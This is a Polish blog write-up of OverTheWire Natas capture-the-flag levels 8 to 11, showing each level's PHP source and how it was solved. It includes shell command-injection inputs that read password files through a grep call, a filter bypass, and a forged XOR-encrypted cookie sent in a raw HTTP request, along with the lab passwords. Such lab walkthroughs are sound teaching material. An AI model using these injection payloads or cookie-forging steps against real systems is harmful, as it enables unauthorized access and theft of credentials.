Natas, gra CTF 8-11

Natas, gra CTF 8-11

NATAS8:

Link do strony: http://natas8.natas.labs.overthewire.org/index.php
Login: natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Podglądamy kod strony,

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Mamy zatem zakodowaną zmienną $encodedSecret = „3d3d516343746d4d6d6c315669563362”, która jest porównywana z zakodowanym hasłem przy pomocy funkcji bin2hex(strrev(base64_encode($secret))); Funkcje te są odwracalne można zatem odkodować zmienną $encodedSecret. Istnieje wiele stron w internecie, gdzie można odkodować te dane, natomiast ja napiszę kod w php aby odkodować te dane:

<?php
echo(base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))));
?>

Wynikiem jest ciąg oubWYf2kBq
Wpisany w pole input powoduje pokazanie hasła do kolejnego poziomu, Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

NATAS9:

Link do strony: http://natas9.natas.labs.overthewire.org/
Login: natas9 , password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Strona posiada pole do wyszukiwania, sprawdźmy kod strony:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Zgodnie z zapisem w kodzie realizowana jest funkcja grep -i $key dictionary.txt, nie jest natomiast nigdzie oczyszczana wartość wpisywanego parametru, zatem sprawdźmy czy możemy tego nadużyć:
1; cat /etc/natas_webpass/natas9

Warto tutaj opisać co tak naprawdę zostało zrobione. System wykonał kolejno dwa polecenia: grep -i 1 dictionary.txt; cat /etc/natas_webpass/natas9
Warto jeszcze zaznaczyć, że ścieżka do hasła została wykorzystana na podstawie schematu z zadania nr 7

Hasło do poziomu 10 to ciąg nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

NATAS10:

Link do strony: http://natas10.natas.labs.overthewire.org/
Login: natas10, password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Sprawdzamy kod strony:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Zadanie jest podobne do poziomu 9, natomiast programista wykorzystuje funkcję preg_match(’/[;|&]/’,$key), która jest zabezpieczeniem przed sztuczką z poprzedniego poziomu.

Skoro nie można dodać kolejnego polecenia to należy wykorzystać już istniejące, zatem wykorzystajmy właściwość polecenia grep, które może przyjmować kilka parametrów w postaci kilku plików.

grep -i u /etc/natas_webpass/natas11 dictionary.txt

Omówienie:
grep – polecenie linuksa do wyszukiwania danych w pliku,
-i – opcja odpowiedzialna za wyłączenie rozróżniania małych i dużych liter,
u /etc/natas_webpass/natas11 – to wartość do wpisania w pole tekstowe.

Hasło do poziomu 11 to U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

NATAS11:

Link do strony: http://natas11.natas.labs.overthewire.org/
Login: natas11, password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Sprawdźmy kod strony:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

W kodzie strony zastosowane jest ciastko, które jest kodowane funkcją XOR. Jego jawna wartość wynosi: $defaultdata = array( „showpassword”=>”no”, „bgcolor”=>”#ffffff”); Zaszyfrowana wartość wynosi natomiast: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
Funkcja szyfrująca XOR posiada następujące właściwości:
daneJawne xor klucz = daneZaszyfrowane oraz daneZaszyfrowane xor daneJawne = klucz, należy zatem napisać kod, który obliczy klucz potrzebny do ponownego zaszyfrowania danych, które będą posiadały wartość „yes” na parametrze showpassword.

<?php  
$ciastko = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";  
function dekoduj_xor($zmienna) {  
    $jawne = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));  
    $text = $zmienna;  
    $daneWyj = '';  
    for($i=0;$i<strlen($text);$i++) {  
    $daneWyj .= $text[$i] ^ $jawne[$i % strlen($jawne)];  
    }  
    return $daneWyj;  
}  
    echo dekoduj_xor(base64_decode($ciastko));  
?>  

Wynikiem skryptu php, który wykonałem na stronie http://sandbox.onlinephpfunctions.com jest następujący ciąg znaków:
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
Klucz wynosi zatem qw8J i powtarza się przez cały ciąg. Pora teraz na skrypt, który zamieni nowe jawne ciastko na zaszyfrowany ciąg

<?php  
$jawne = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function kodujXor($zmienna) {  
    $klucz = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq';    
    $text = $zmienna;  
    $daneWyj = '';  
    for($i=0;$i<strlen($text);$i++) {  
    $daneWyj .= $text[$i] ^ $klucz[$i % strlen($klucz)];  
    }  
    return $daneWyj;  
}  
echo base64_encode(kodujXor(json_encode($jawne))); 
?>  

Wynikiem skryptu jest nowe ciastko, które należy podmienić:
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

GET / HTTP/1.1
Host: natas11.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMTpVODJxNVRDTU1ROXh1Rm9JM2RZWDYxczdPWkQ5SktvSw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 OPR/65.0.3467.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __cfduid=de6ff386a56a9de06641cefef89f2fa381571406785; __utmc=176859643; __utmz=176859643.1579185831.8.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utma=176859643.1299241154.1578689263.1579185831.1579279735.9; data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Connection: close

Wynikiem jest kod do 12 poziomu:

  The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *